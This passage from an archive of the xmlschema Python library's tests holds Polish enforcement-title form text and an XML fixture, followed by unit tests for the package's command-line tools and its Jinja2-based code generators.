miejsca zamieszkania lub siedziby, może być naÅ‚ożona kara pieniężna (art. 168d § 3 pkt 1 lit. a tiret pierwsze ustawy). Jeżeli w części A wpisano jako zobowiÄ…zanych dane małżonkĂ³w, tytuÅ‚ wykonawczy stanowi podstawÄ™ przeprowadzenia egzekucji administracyjnej z ich majÄ…tku wspĂ³lnego i ich majÄ…tkĂ³w osobistych. TytuÅ‚ wykonawczy stanowi podstawÄ™ do prowadzenia egzekucji z majÄ…tku osobistego zobowiÄ…zanego i majÄ…tku wspĂ³lnego zobowiÄ…zanego i jego małżonka, jeżeli zgodnie z odrÄ™bnymi przepisami odpowiedzialność zobowiÄ…zanego za należność pieniężnÄ… i odsetki z tytuÅ‚u niezapÅ‚acenia jej w terminie obejmuje majÄ…tek osobisty zobowiÄ…zanego i majÄ…tek wspĂ³lny zobowiÄ…zanego i jego małżonka. W takim przypadku tytuÅ‚ wykonawczy jest podstawÄ… do prowadzenia egzekucji rĂ³wnież kosztĂ³w upomnienia oraz kosztĂ³w egzekucyjnych powstaÅ‚ych w postÄ™powaniu egzekucyjnym prowadzonym na podstawie tego tytuÅ‚u wykonawczego (art. 27e § 1 i 2 ustawy). Małżonkowi zobowiÄ…zanego przysÅ‚uguje prawo wniesienia wniosku do organu egzekucyjnego o udzielenie informacji o aktualnej wysokoÅ›ci egzekwowanej należnoÅ›ci pieniężnej, odsetek z tytuÅ‚u niezapÅ‚acenia jej w terminie, kosztĂ³w upomnienia i kosztĂ³w egzekucyjnych (art. 27e § 4 ustawy), a także wniesienia do wierzyciela, za poÅ›rednictwem organu egzekucyjnego, sprzeciwu w sprawie odpowiedzialnoÅ›ci majÄ…tkiem wspĂ³lnym. W sprzeciwie okreÅ›la siÄ™ istotÄ™ i zakres żądania oraz dowody uzasadniajÄ…ce to żądanie. Sprzeciw może być wniesiony jeden raz w postÄ™powaniu egzekucyjnym (art. 27f § 3 ustawy). W przypadku egzekucji z nieruchomoÅ›ci wchodzÄ…cej w skÅ‚ad majÄ…tku wspĂ³lnego zobowiÄ…zanego i jego małżonka sprzeciw wnosi siÄ™ nie pĂ³Åºniej niż w terminie 14 dni od dnia dorÄ™czenia małżonkowi zobowiÄ…zanego wezwania do zapÅ‚aty egzekwowanej należnoÅ›ci pieniężnej wraz z odsetkami z tytuÅ‚u niezapÅ‚acenia jej w terminie i kosztami egzekucyjnymi (art. 27f § 2 ustawy). Rodzaj dokumentu tytuÅ‚ wykonawczy zmieniony tytuÅ‚ wykonawczy dalszy tytuÅ‚ wykonawczy ponowny tytuÅ‚ wykonawczy Dalszy tytuÅ‚ wykonawczy Dane pierwotnego tytuÅ‚u wykonawczego Numer porzÄ…dkowy dalszego tytuÅ‚u wykonawczego Cel wydania dalszego tytuÅ‚u wykonawczego prowadzenie egzekucji przez inny organ egzekucyjny zabezpieczenie hipotekÄ… przymusowÄ…, w tym hipotekÄ… przymusowÄ… morskÄ… ponowne wszczÄ™cie egzekucji administracyjnej Data wydania dalszego tytuÅ‚u wykonawczego Rodzaj dokumentu, ktĂ³rego dotyczy dalszy tytuÅ‚ wykonawczy tytuÅ‚u wykonawczego zmienionego tytuÅ‚u wykonawczego Adnotacja dotyczÄ…ca ponownie wydanego tytuÅ‚u wykonawczego 6.A. Data wystawienia utraconego tytuÅ‚u wykonawczego 6.B. Nazwa wierzyciela 6.C. Numer (sygnatura) postanowienia wierzyciela 6.D. Data wydania postanowienia przez wierzyciela Rodzaj utraconego dokumentu tytuÅ‚u wykonawczego zmienionego tytuÅ‚u wykonawczego Symbol wzoru formularza xmlschema-4.1.0/tests/test_cases/translations/pl/tytul_wykonawczy_niekompletny.xml000066400000000000000000000152131502040105500311300ustar00rootroot00000000000000 2022-12-15 1435 e8cfbf72-cede-4a2e-b027-d24c783fa812 wydanie_tytuÅ‚u_12152022_000000 TW-1 5 art. 26 ustawy z dnia 17 czerwca 1966 r. o postÄ™powaniu egzekucyjnym w administracji (Dz. U. z 2020 r. poz. 1427, z pĂ³Åºn. zm.), zwanej dalej â€ustawą†01/2023 2023-02-15 1 Austriackie pÅ‚aczki 198765432 3557623921 PL bydgoskie bydgoski Bydg 150 87129 1 Treść parametru 1 Nieuiszczony podatek deklaracja 31.11 2022-12-18 23.50 2022-01-01 2022-12-31 Treść parametru 2 23.01 2022-01-01 2022-12-31 Treść parametru 2 Treść parametru 3 false false PREZYDENT MIASTA STOÅECZNEGO WARSZAWY PL mazowieckie Warszawa Warszawa Warszawa Plac Bankowy 3 5 00950 5252248481 015259640 Centrum ObsÅ‚ugi Podatnika PL mazowieckie Warszawa Warszawa Warszawa Obozowa 57 01161 1 MikoÅ‚aj Linda ogrodnik 1 xmlschema-4.1.0/tests/test_cli.py000066400000000000000000000270431502040105500170150ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # """Tests of console scripts.""" import unittest from unittest.mock import patch import glob import io import logging import pathlib import os import platform import sys import xmlschema from xmlschema.cli import get_loglevel, get_converter, validate, xml2json, json2xml from xmlschema.testing import run_xmlschema_tests WORK_DIRECTORY = os.getcwd() class TestConsoleScripts(unittest.TestCase): ctx = None def run_validate(self, *args): with patch.object(sys, 'argv', ['xmlschema-validate'] + list(args)): with self.assertRaises(SystemExit) as self.ctx: validate() def run_xml2json(self, *args): with patch.object(sys, 'argv', ['xmlschema-xml2json'] + list(args)): with self.assertRaises(SystemExit) as self.ctx: xml2json() def run_json2xml(self, *args): with patch.object(sys, 'argv', ['xmlschema-json2xml'] + list(args)): with self.assertRaises(SystemExit) as self.ctx: json2xml() def setUp(self): vehicles_dir = pathlib.Path(__file__).parent.joinpath('test_cases/examples/vehicles/') os.chdir(str(vehicles_dir)) def tearDown(self): os.chdir(WORK_DIRECTORY) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_validate_command_01(self, mock_out, mock_err): self.run_validate() self.assertEqual(mock_out.getvalue(), '') self.assertIn("the following arguments are required", mock_err.getvalue()) self.assertEqual('2', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_validate_command_02(self, mock_out, mock_err): self.run_validate('vehicles.xml') self.assertEqual(mock_err.getvalue(), '') self.assertEqual("vehicles.xml is valid\n", mock_out.getvalue()) self.assertEqual('0', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_validate_command_03(self, mock_out, mock_err): self.run_validate('vehicles-2_errors.xml') self.assertEqual(mock_out.getvalue(), '') self.assertEqual("vehicles-2_errors.xml is not valid\n", mock_err.getvalue()) self.assertEqual('2', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_validate_command_04(self, mock_out, mock_err): self.run_validate('unknown.xml') self.assertEqual(mock_out.getvalue(), '') stderr = mock_err.getvalue() if platform.system() == 'Windows': self.assertIn("The system cannot find the file specified", stderr) else: self.assertIn("No such file or directory", stderr) self.assertEqual('1', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_validate_command_05(self, mock_out, mock_err): self.run_validate(*glob.glob('vehicles*.xml')) stderr = mock_err.getvalue() stdout = mock_out.getvalue() self.assertIn("vehicles.xml is valid", stdout) self.assertIn("vehicles-3_errors.xml is not valid", stderr) self.assertIn("vehicles-1_error.xml is not valid", stderr) self.assertIn("vehicles2.xml is valid", stdout) self.assertIn("vehicles-2_errors.xml is not valid", stderr) self.assertEqual('6', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_validate_command_06(self, mock_out, mock_err): self.run_validate('--schema=vehicles.xsd', 'vehicles.xml') self.assertEqual(mock_err.getvalue(), '') self.assertEqual("vehicles.xml is valid\n", mock_out.getvalue()) self.assertEqual('0', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_validate_command_07(self, mock_out, mock_err): self.run_validate('--version=1.1', 'vehicles.xml') self.assertEqual(mock_err.getvalue(), '') self.assertEqual("vehicles.xml is valid\n", mock_out.getvalue()) self.assertEqual('0', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_validate_command_08(self, mock_out, mock_err): self.run_validate('--lazy', 'vehicles.xml') self.assertEqual(mock_err.getvalue(), '') self.assertEqual("vehicles.xml is valid\n", mock_out.getvalue()) self.assertEqual('0', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_xml2json_command_01(self, mock_out, mock_err): self.run_xml2json() self.assertEqual(mock_out.getvalue(), '') self.assertIn("the following arguments are required", mock_err.getvalue()) self.assertEqual('2', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_xml2json_command_02(self, mock_out, mock_err): self.run_xml2json('vehicles.xml') os.unlink('vehicles.json') self.assertEqual(mock_err.getvalue(), '') self.assertEqual("vehicles.xml converted to vehicles.json\n", mock_out.getvalue()) self.assertEqual('0', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_xml2json_command_03(self, mock_out, mock_err): self.run_xml2json('vehicles.xml', '--schema=vehicles.xsd') os.unlink('vehicles.json') self.assertEqual(mock_err.getvalue(), '') self.assertEqual("vehicles.xml converted to vehicles.json\n", mock_out.getvalue()) self.assertEqual('0', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_xml2json_command_04(self, mock_out, mock_err): self.run_xml2json('vehicles-2_errors.xml') os.unlink('vehicles-2_errors.json') self.assertEqual(mock_err.getvalue(), '') msg = "vehicles-2_errors.xml converted to vehicles-2_errors.json with 2 errors\n" self.assertEqual(msg, mock_out.getvalue()) self.assertEqual('2', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_xml2json_command_05(self, mock_out, mock_err): if os.path.isfile('vehicles.json'): os.unlink('vehicles.json') self.run_xml2json('vehicles.xml') self.assertEqual('0', str(self.ctx.exception)) self.run_xml2json('vehicles.xml') with self.assertRaises(ValueError) as ctx: self.run_xml2json('--output=vehicles.json', 'vehicles.xml') self.assertEqual(str(ctx.exception), "'vehicles.json' is not a directory") os.unlink('vehicles.json') self.assertEqual(mock_err.getvalue(), '') self.assertIn("vehicles.xml converted to vehicles.json\n", mock_out.getvalue()) self.assertIn("skip vehicles.json: the destination file exists!", mock_out.getvalue()) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_json2xml_command_01(self, mock_out, mock_err): self.run_json2xml() self.assertEqual(mock_out.getvalue(), '') self.assertIn("the following arguments are required: [JSON_FILE", mock_err.getvalue()) self.assertEqual('2', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_json2xml_command_02(self, mock_out, mock_err): self.run_json2xml('--schema=vehicles.xsd') self.assertEqual(mock_out.getvalue(), '') self.assertIn("the following arguments are required: [JSON_FILE", mock_err.getvalue()) self.assertEqual('2', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_json2xml_command_03(self, mock_out, mock_err): with open('vehicles-test.json', 'w') as fp: xmlschema.to_json('vehicles.xml', fp) self.run_json2xml('vehicles-test.json', '--schema=vehicles.xsd') os.unlink('vehicles-test.json') os.unlink('vehicles-test.xml') self.assertEqual(mock_err.getvalue(), '') self.assertEqual("vehicles-test.json converted to vehicles-test.xml\n", mock_out.getvalue()) self.assertEqual('0', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_json2xml_command_04(self, mock_out, mock_err): with open('vehicles-test.json', 'w') as fp: xmlschema.to_json('vehicles.xml', fp) self.run_json2xml('vehicles-test.json', '--schema=vehicles.xsd') self.assertEqual('0', str(self.ctx.exception)) self.run_json2xml('vehicles-test.json', '--schema=vehicles.xsd') with self.assertRaises(ValueError) as ctx: self.run_json2xml('vehicles-test.json', '--schema=vehicles.xsd', '--output=vehicles-test.xml') self.assertEqual(str(ctx.exception), "'vehicles-test.xml' is not a directory") os.unlink('vehicles-test.json') os.unlink('vehicles-test.xml') self.assertEqual(mock_err.getvalue(), '') self.assertIn("vehicles-test.json converted to vehicles-test.xml\n", mock_out.getvalue()) self.assertIn("skip vehicles-test.xml: the destination file exists!", mock_out.getvalue()) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_wrong_xsd_version(self, mock_out, mock_err): self.run_validate('--version=1.9', 'vehicles.xml') self.assertEqual(mock_out.getvalue(), '') self.assertIn("'1.9' is not a valid XSD version", mock_err.getvalue()) self.assertEqual('2', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_wrong_defuse(self, mock_out, mock_err): self.run_validate('--defuse=sometimes', 'vehicles.xml') self.assertEqual(mock_out.getvalue(), '') self.assertIn("'sometimes' is not a valid value", mock_err.getvalue()) self.assertEqual('2', str(self.ctx.exception)) def test_get_loglevel(self): self.assertEqual(get_loglevel(0), logging.ERROR) self.assertEqual(get_loglevel(1), logging.WARNING) self.assertEqual(get_loglevel(2), logging.INFO) self.assertEqual(get_loglevel(3), logging.DEBUG) def test_get_converter(self): self.assertIsNone(get_converter(None)) self.assertIs(get_converter('Unordered'), xmlschema.UnorderedConverter) self.assertIs(get_converter('Parker'), xmlschema.ParkerConverter) with self.assertRaises(ValueError): get_converter('Unknown') if __name__ == '__main__': run_xmlschema_tests('CLI') xmlschema-4.1.0/tests/test_codegen.py000066400000000000000000000634141502040105500176540ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # """Tests concerning XSD based code generators. Requires jinja2 optional dependency.""" import unittest import os import datetime import ast import logging import platform import importlib.util import tempfile from collections import namedtuple from pathlib import Path from textwrap import dedent from xml.etree import ElementTree from elementpath import datatypes from xmlschema import XMLSchema10, XMLSchema11 from xmlschema.names import XSD_ANY_TYPE, XSD_STRING, XSD_FLOAT try: import jinja2 except ImportError: jinja2 = None filter_method = None AbstractGenerator = None PythonGenerator = None DemoGenerator = None else: from xmlschema.extras.codegen import filter_method, AbstractGenerator, PythonGenerator class DemoGenerator(AbstractGenerator): formal_language = 'Demo' searchpaths = ['templates/demo'] builtin_types = { 'string': 'str', 'boolean': 'bool', 'float': 'float', 'double': 'double', 'integer': 'int', 'decimal': 'float', 'unsignedByte': 'unsigned short', 'nonNegativeInteger': 'unsigned int', 'positiveInteger': 'unsigned int', } @classmethod @filter_method def class_filter(cls, obj): return str(obj) @staticmethod @filter_method def static_filter(obj): return str(obj) @filter_method def instance_filter(self, obj): return str(obj) @staticmethod def not_a_static_filter(obj): return def not_an_instance_filter(self): return def casepath(relative_path): return str(Path(__file__).absolute().parent.joinpath('test_cases', relative_path)) XSD_TEST = """\ """ @unittest.skipIf(jinja2 is None, "jinja2 library is not installed!") class TestAbstractGenerator(unittest.TestCase): schema_class = XMLSchema10 generator_class = DemoGenerator schema: XMLSchema10 searchpath: Path col_dir: str col_xsd_file: str col_xml_file: str col_schema: XMLSchema10 @classmethod def setUpClass(cls): cls.schema = cls.schema_class(XSD_TEST) cls.searchpath = Path(__file__).absolute().parent.joinpath('templates/filters/') cls.generator = cls.generator_class(cls.schema, str(cls.searchpath)) cls.col_dir = casepath('examples/collection') cls.col_xsd_file = casepath('examples/collection/collection.xsd') cls.col_xml_file = casepath('examples/collection/collection.xml') cls.col_schema = cls.schema_class(cls.col_xsd_file) def test_formal_language(self): self.assertEqual(self.generator_class.formal_language, 'Demo') with self.assertRaises(ValueError) as ec: type('DemoGenerator2', (DemoGenerator,), dict(__module__=__file__, formal_language='Demo2')) self.assertIn("formal_language cannot be changed", str(ec.exception)) class DemoGenerator2(AbstractGenerator): formal_language = 'Demo2' self.assertEqual(DemoGenerator2.formal_language, 'Demo2') with self.assertRaises(ValueError) as ec: type('DemoGenerator3', (DemoGenerator, DemoGenerator2), dict(__module__=__file__)) self.assertIn("ambiguous formal_language", str(ec.exception)) DemoGenerator2.formal_language = 'Demo' class DemoGenerator3(DemoGenerator, DemoGenerator2): pass self.assertEqual(DemoGenerator3.formal_language, 'Demo') @unittest.skipIf(platform.system() == 'Windows', 'Avoiding unnecessary tests on Windows file paths ...') def test_searchpaths(self): self.assertIsInstance(DemoGenerator.searchpaths, list) self.assertTrue(str(DemoGenerator.searchpaths[0]).endswith('templates/demo')) with self.assertRaises(ValueError) as ec: type('DemoGenerator2', (AbstractGenerator,), dict(__module__=__file__, searchpaths=['/not-a-dir'])) self.assertIn("path '/not-a-dir' is not a directory!", str(ec.exception)) def test_schema_argument(self): generator = self.generator_class(self.schema) class_name = generator.__class__.__name__ namespace = 'http://xmlschema.test/ns' self.assertIs(generator.schema, self.schema) self.assertIsInstance(generator._env, jinja2.Environment) self.assertEqual(repr(generator), f"{class_name}(namespace={namespace!r})") generator = self.generator_class(self.col_xsd_file) self.assertIsInstance(generator.schema, XMLSchema11) self.assertEqual(repr(generator), f"{class_name}(schema='collection.xsd')") def test_searchpath_argument(self): class DemoGenerator2(AbstractGenerator): formal_language = 'Demo2' with self.assertRaises(ValueError) as ec: DemoGenerator2(self.schema) self.assertIn("no search paths defined!", str(ec.exception)) generator = DemoGenerator2(self.schema, '/tmp') self.assertIsInstance(generator._env.loader, jinja2.loaders.FileSystemLoader) def test_types_map_argument(self): types_map = {'foo': 'int', 'bar': 'str'} generator = self.generator_class(self.schema, types_map=types_map) self.assertNotIn('foo', generator.types_map) self.assertIn('{http://xmlschema.test/ns}foo', generator.types_map) self.assertIn(XSD_ANY_TYPE, generator.types_map) xsd_source = dedent("""\ """) types_map = {'str32': 'String32'} generator = self.generator_class(xsd_source, types_map=types_map) self.assertIn('str32', generator.types_map) def test_builtin_types(self): generator = self.generator_class(self.schema) self.assertIn(XSD_ANY_TYPE, generator.builtin_types) self.assertIn(XSD_STRING, generator.builtin_types) self.assertIn(XSD_FLOAT, generator.builtin_types) self.assertIsNot(generator.builtin_types, generator.types_map) self.assertEqual(generator.builtin_types, generator.types_map) def test_list_templates(self): template_dir = Path(__file__).parent.joinpath('templates') language = self.generator_class.formal_language.lower() templates = {x.name for x in template_dir.glob(f'{language}/*')} templates.update(x.name for x in template_dir.glob('filters/*')) self.assertSetEqual(set(self.generator.list_templates()), templates) def test_matching_templates(self): self.assertSetEqual(set(self.generator.matching_templates('name*_filter*')), {'name_filter_test.jinja', 'namespace_filter_test.jinja'}) def test_get_template(self): template = self.generator.get_template('type_qname_filter_test.jinja') self.assertIsInstance(template, jinja2.Template) with self.assertRaises(jinja2.TemplateNotFound): self.generator.get_template('foo') def test_select_template(self): template = self.generator.select_template(['foo', 'qname_filter_test.jinja']) self.assertIsInstance(template, jinja2.Template) with self.assertRaises(jinja2.TemplateNotFound): self.generator.select_template(['foo']) def test_render(self): self.assertListEqual(self.generator.render('name_filter_test.jinja'), ['root']) self.assertListEqual( self.generator.render(['name_filter_test.jinja', 'namespace_filter_test.jinja']), ['root', 'http://xmlschema.test/ns'] ) with self.assertRaises(TypeError): self.generator.render(['name_filter_test.jinja', False]) with self.assertRaises(jinja2.TemplateSyntaxError): self.generator.render(['wrong-template.jinja']) logger = logging.getLogger('xmlschema-codegen') with self.assertLogs(logger, level=logging.DEBUG): self.generator.render('unknown') def test_render_to_files(self): with tempfile.TemporaryDirectory() as outdir: files = self.generator.render_to_files('name_filter_test.jinja', output_dir=outdir) self.assertListEqual(files, [os.path.join(outdir, 'name_filter_test')]) files = self.generator.render_to_files( ['name_filter_test.jinja', 'namespace_filter_test.jinja'], output_dir=outdir) self.assertListEqual(files, [os.path.join(outdir, 'namespace_filter_test')]) with tempfile.TemporaryDirectory() as outdir: files = self.generator.render_to_files( ['name_filter_test.jinja', 'namespace_filter_test.jinja'], output_dir=outdir ) self.assertSetEqual(set(files), { os.path.join(outdir, 'name_filter_test'), os.path.join(outdir, 'namespace_filter_test'), }) with tempfile.TemporaryDirectory() as outdir: files = self.generator.render_to_files('name*', output_dir=outdir) self.assertSetEqual(set(files), { os.path.join(outdir, 'name_filter_test'), os.path.join(outdir, 'namespace_filter_test'), }) with tempfile.TemporaryDirectory() as outdir: with self.assertRaises(TypeError): self.generator.render_to_files( ['name_filter_test.jinja', False], output_dir=outdir) with self.assertRaises(jinja2.TemplateSyntaxError): self.generator.render_to_files(['wrong-template.jinja'], output_dir=outdir) logger = logging.getLogger('xmlschema-codegen') with self.assertLogs(logger, level=logging.DEBUG): with self.assertRaises(jinja2.TemplateSyntaxError): self.generator.render_to_files('*', output_dir=outdir) with self.assertLogs(logger, level=logging.DEBUG): self.generator.render_to_files('unknown', output_dir=outdir) def test_language_type_filter(self): self.assertListEqual(self.generator.render('demo_type_filter_test.jinja'), ['str']) type4 = self.schema.types['type4'] self.assertEqual(self.generator.filters['demo_type'](type4), 'str') generator = DemoGenerator(self.schema, types_map={'type4': 'demo_string'}) self.assertEqual(generator.filters['demo_type'](type4), 'demo_string') class DemoGenerator2(DemoGenerator): @filter_method def demo_type(self, _): return 'foo' generator = DemoGenerator2(self.schema) self.assertEqual(generator.filters['demo_type'](type4), 'foo') generator = DemoGenerator2(self.schema, types_map={'type4': 'demo_string'}) self.assertEqual(generator.filters['demo_type'](type4), 'foo') def test_filter_decorators(self): dt = datetime.datetime(1999, 12, 31, 23, 59, 59) if self.generator_class is DemoGenerator: demo_gen = DemoGenerator(self.schema) self.assertEqual(demo_gen.filters['instance_filter'](dt), '1999-12-31 23:59:59') self.assertEqual(demo_gen.filters['static_filter'](dt), '1999-12-31 23:59:59') self.assertEqual(demo_gen.filters['class_filter'](dt), '1999-12-31 23:59:59') else: with self.assertRaises(KeyError): self.generator.filters['instance_filter'](dt) def test_map_type(self): self.assertEqual(self.generator.map_type(None), '') self.assertEqual(self.generator.map_type(self.schema.elements['root']), 'str') self.assertEqual(self.generator.map_type(self.schema.types['type1']), '') self.assertEqual(self.generator.map_type(self.schema.types['type2']), '') self.assertEqual(self.generator.map_type(self.schema.types['type4']), 'str') self.assertEqual(self.generator.map_type(self.schema.types['type5']), 'float') self.assertEqual(self.generator.map_type(self.schema.types['type6']), 'float') date_type = self.schema.meta_schema.types['date'] self.assertEqual(self.generator.map_type(date_type), '') def test_name_filter(self): xsd_element = self.schema.elements['root'] self.assertEqual(self.generator.filters['name'](xsd_element), 'root') self.assertListEqual(self.generator.render('name_filter_test.jinja'), ['root']) self.assertEqual(self.generator.name(None), 'none') self.assertEqual(self.generator.name(''), '') self.assertEqual(self.generator.name('foo'), 'foo') self.assertEqual(self.generator.name('{http://xmlschema.test/ns}foo'), 'foo') self.assertEqual(self.generator.name('ns:foo'), 'foo') self.assertEqual(self.generator.name('0:foo'), '') self.assertEqual(self.generator.name('1'), 'none') FakeElement = namedtuple('XsdElement', 'local_name name') fake_element = FakeElement(1, 2) self.assertEqual(self.generator.name(fake_element), '') def test_qname_filter(self): xsd_element = self.schema.elements['root'] self.assertEqual(self.generator.filters['qname'](xsd_element), 'tns__root') self.assertListEqual(self.generator.render('qname_filter_test.jinja'), ['tns__root']) self.assertEqual(self.generator.qname(None), 'none') self.assertEqual(self.generator.qname(''), '') self.assertEqual(self.generator.qname('{wrong'), 'none') self.assertEqual(self.generator.qname('foo'), 'foo') self.assertEqual(self.generator.qname('{http://xmlschema.test/ns}foo'), 'tns__foo') self.assertEqual(self.generator.qname('{http://unknown.test/ns}foo'), 'foo') self.assertEqual(self.generator.qname('ns:foo'), 'ns__foo') self.assertEqual(self.generator.qname('0:foo'), 'none') self.assertEqual(self.generator.qname('1'), 'none') def test_namespace_filter(self): xsd_element = self.schema.elements['root'] tns = 'http://xmlschema.test/ns' self.assertEqual(self.generator.filters['namespace'](xsd_element), tns) self.assertListEqual(self.generator.render('namespace_filter_test.jinja'), [tns]) self.assertEqual(self.generator.namespace(None), '') self.assertEqual(self.generator.namespace(''), '') self.assertEqual(self.generator.namespace('{wrong'), '') self.assertEqual(self.generator.namespace('foo'), '') self.assertEqual(self.generator.namespace('{bar}foo'), 'bar') self.assertEqual(self.generator.namespace('tns:foo'), 'http://xmlschema.test/ns') self.assertEqual(self.generator.namespace('0:foo'), '') self.assertEqual(self.generator.namespace('1'), '') qname = datatypes.QName('http://xmlschema.test/ns', 'tns:foo') self.assertEqual(self.generator.namespace(qname), 'http://xmlschema.test/ns') def test_type_name_filter(self): xsd_element = self.schema.elements['root'] self.assertEqual(self.generator.filters['type_name'](xsd_element), 'string') self.assertListEqual(self.generator.render('type_name_filter_test.jinja'), ['string']) self.assertEqual(self.generator.type_name(None), 'none') unnamed_type = self.col_schema.types['objType'].content[5].type self.assertEqual(self.generator.type_name(unnamed_type), 'none') schema = self.schema_class(dedent("""\ """)) self.assertEqual(self.generator.type_name(schema.types['a_type']), 'a') self.assertEqual(self.generator.type_name(schema.types['bType']), 'b') self.assertEqual(self.generator.type_name(schema.types['c']), 'c') self.assertEqual(self.generator.type_name(schema.types['a_type'], suffix='Type'), 'aType') self.assertEqual(self.generator.type_name(schema.types['bType'], suffix='Type'), 'bType') self.assertEqual(self.generator.type_name(schema.types['c'], suffix='Type'), 'cType') self.assertEqual(self.generator.type_name(schema.types['c-1']), 'c_1') self.assertEqual(self.generator.type_name(schema.types['c.2']), 'c_2') def test_type_qname_filter(self): xsd_element = self.schema.elements['root'] self.assertEqual(self.generator.filters['type_qname'](xsd_element), 'xs__string') self.assertListEqual( self.generator.render('type_qname_filter_test.jinja'), ['xs__string']) self.assertEqual(self.generator.type_qname(None), 'none') schema = self.schema_class(dedent("""\ """)) self.assertEqual(self.generator.type_qname(schema.types['a_type']), 'tns__a') self.assertEqual(self.generator.type_qname(schema.types['bType']), 'tns__b') self.assertEqual(self.generator.type_qname(schema.types['c']), 'tns__c') self.assertEqual(self.generator.type_qname(schema.types['a_type'], suffix='Type'), 'tns__aType') self.assertEqual(self.generator.type_qname(schema.types['bType'], suffix='Type'), 'tns__bType') self.assertEqual(self.generator.type_qname(schema.types['c'], suffix='Type'), 'tns__cType') self.assertEqual(self.generator.type_qname(schema.types['c-1']), 'tns__c_1') self.assertEqual(self.generator.type_qname(schema.types['c.2']), 'tns__c_2') def test_sort_types_filter(self): xsd_types = self.schema.types sorted_types = [xsd_types['type4'], xsd_types['type5'], xsd_types['type6'], xsd_types['type1'], xsd_types['type2'], xsd_types['type3']] self.assertListEqual( self.generator.filters['sort_types'](xsd_types), sorted_types ) self.assertListEqual( self.generator.filters['sort_types'](xsd_types.values()), sorted_types ) self.assertListEqual( self.generator.filters['sort_types'](list(xsd_types.values())), sorted_types ) self.assertListEqual( self.generator.render('sort_types_filter_test.jinja'), ['type4type5type6type1type2type3'] ) schema = self.schema_class(dedent("""\ """)) with self.assertRaises(ValueError) as ec: self.generator.sort_types(schema.types) self.assertIn("circularity found", str(ec.exception)) self.assertListEqual( self.generator.sort_types(schema.types, accept_circularity=True), list(schema.types.values()) ) def test_unknown_filter(self): logger = logging.getLogger('xmlschema-codegen') with self.assertLogs(logger, level=logging.DEBUG): self.assertListEqual(self.generator.render('unknown_filter_test.jinja'), []) def test_is_derivation(self): self.assertFalse(self.generator.extension(self.schema.types['type1'])) self.assertTrue(self.generator.extension(self.schema.types['type1'], 'tns:type1')) self.assertTrue(self.generator.restriction(self.schema.types['type1'], 'tns:type1')) self.assertTrue(self.generator.derivation(self.schema.types['type1'], 'type1')) self.assertFalse(self.generator.restriction(self.schema.types['type6'], 'xs:decimal')) self.assertFalse(self.generator.restriction(self.schema.types['type6'], None)) self.assertFalse(self.generator.derivation(self.schema.types['type1'], 'tns0:type1')) self.assertTrue(self.generator.derivation(self.schema.types['type1'], 'tns:type1')) self.assertTrue(self.generator.restriction(self.schema.types['type6'], 'xs:float')) self.assertFalse(self.generator.is_derived( self.schema.types['type1'], '{http://xmlschema.test/ns}foo' )) self.assertFalse(self.generator.is_derived( self.schema.types['type1'], '{http://xmlschema.test/ns}bar' )) self.assertFalse(self.generator.is_derived(self.schema.types['type1'], 'bar', 'foo')) def test_multi_sequence(self): self.assertFalse(self.generator.multi_sequence(self.schema.types['type3'])) self.assertTrue(self.generator.multi_sequence(self.schema.types['type2'])) self.assertFalse(self.generator.multi_sequence(self.schema.types['type5'])) @unittest.skipIf(jinja2 is None, "jinja2 library is not installed!") class TestAbstractGenerator11(TestAbstractGenerator): schema_class = XMLSchema11 @unittest.skipIf(jinja2 is None, "jinja2 library is not installed!") class TestPythonGenerator(TestAbstractGenerator): generator_class = PythonGenerator def test_formal_language(self): self.assertEqual(PythonGenerator.formal_language, 'Python') def test_map_type(self): self.assertEqual(self.generator.map_type(None), '') self.assertEqual(self.generator.map_type(self.schema.elements['root']), 'str') self.assertEqual(self.generator.map_type(self.schema.types['type1']), '') self.assertEqual(self.generator.map_type(self.schema.types['type2']), '') self.assertEqual(self.generator.map_type(self.schema.types['type4']), 'str') self.assertEqual(self.generator.map_type(self.schema.types['type5']), 'decimal.Decimal') 